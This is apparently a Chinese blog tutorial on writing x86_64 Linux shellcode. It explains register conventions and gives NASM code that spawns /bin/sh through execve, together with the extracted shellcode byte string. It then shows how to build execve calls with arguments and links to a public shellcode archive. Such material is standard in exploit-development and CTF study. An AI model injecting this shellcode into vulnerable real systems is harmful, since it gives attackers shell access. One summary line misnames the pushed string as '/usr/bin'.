x64的寄存器基础
x86_64有16个64位寄存器,其中:
rax:常用来存放函数的返回值,系统调用之前用于存放调用号
rbp:栈帧寄存器
rsp:栈顶指针寄存器
rdi、rsi、rdx、rcx、r8、r9:存放函数参数,函数参数按照从左到右的顺序依次存入这几个寄存器,还有更多的参数则存入栈
rbx、rbp、r12、r13、r14、r15:用来存放数据,遵循被调用者使用规则,简单说就是可以直接拿来使用
编写汇编代码
下面的代码实现的是执行 execve("/bin/sh") 命令,rax寄存器存放execve的系统调用编号,rdi存放的是execve的参数:
section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
关于x64的系统调用表可参考如下博文:
https://blog.youkuaiyun.com/SUKI547/article/details/103315487
把上述代码存放在test.asm文件中
编译汇编代码
nasm -f elf64 -o shell.o test.asm
ld shell.o -o shellcode
执行完上述命令后,会生成一个名为shellcode的可执行文件,运行shellcode可得到shell:
使用objdump获取反汇编代码:
objdump --disassemble ./shellcode
下图圈出的即为shellcode代码:
shellcode="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
一点延申
简单总结一下上面的例子就是往栈空间里写入了/usr/bin字符串(字符串起始地址存在rdi寄存器),然后把这个字符串作为59号系统调用(execve)的第一个参数,使用syscall调用该系统调用即可实现**execve("/bin/sh")**命令,获取到shell
但其实上面的例子有几点特殊的地方:
- /bin/sh不需要参数,也就是说execve只需要一个入参
- /bin/sh长度小于8字节,在64位程序中,栈宽度是8字节
那么问题来了:如果我们想要执行其他命令该怎么构造呢?
其实原理差不多的,比如我们想要执行execve("/usr/bin/mytest", {"/usr/bin/mytest",“argvs”}, 0),思路如下:
- 首先/usr/bin/mytest长度超过8字节但没有超过16字节,所以我们使用两块栈即可存放,还有就是
字符串是以0x0作为终止的; - 其次,栈是先入后出的结构,因此我们往栈里面填写参数值时,要把非空参数从右往左填入,拆分长字符串时也要注意要把拆好的字符串从右往左填入,比如/usr/bin/mytest要先填入/mytest然后再填入/usr/bin
综上,我们可以得到汇编代码如下:
global _start
_start:
;执行execve("/usr/bin/mytest", {"/usr/bin/mytest","argvs"}, 0)的汇编代码
xor rbp, rbp ;清空rbp寄存器
xor rax, rax ;清空rax寄存器
xor rbx, rbx ;清空rbx寄存器
;先填入{"/usr/bin/mytest","argvs"}参数
push rax ; 填入0x0作为字符串终止符
mov rbx, 'argvs' ; 参数没有超过8字节,不需要拆分
push rbx ; "argvs"入栈
mov rbx, rsp ; 使用rbx寄存器记录下"argvs"存放的地址
push rax ; 填入0x0作为字符串终止符
;'/usr/bin/mytest'长度超过了8字节,拆分为/usr/bin和/mytest两部分,从右往左填入
mov rbp, '//mytest' ; 填入/mytest,添加一个/补齐八字节
push rbp
mov rbp, '/usr/bin' ; 填入/usr/bin
push rbp
mov rbp, rsp ; 使用rbp寄存器记录下'/usr/bin/mytest'存放的地址
;"argvs"和'/usr/bin/mytest'放在一段连续的栈地址,构造出{"/usr/bin/mytest","argvs"}
push rax
mov rdx, rsp ; 此时rsp指向的栈存放的是0x0,所以直接把这个作为第三个入参,放在rdx寄存器
push rbx
push rbp
mov rsi, rsp ; 得到第二个入参{"/usr/bin/mytest","argvs"},存入rsi寄存器
mov rdi, rbp ; rbp指向的是"/usr/bin/mytest",作为第一个参数,存入rdi寄存器
; 三个入参已经全了,将execve的调用号(59)存入rax寄存器,调用syscall
mov rax, 59
syscall
把上面的代码存入test.asm文件然后使用如下命令编译链接即可得到test可执行文件:
nasm -f elf64 -o test.o test.asm
ld -o test test.o
Have fun!
参考博客:
https://www.jianshu.com/p/e21dcba5668f
下面的链接有很多现成的shellcode,可以根据需要选用:
https://www.exploit-db.com/shellcodes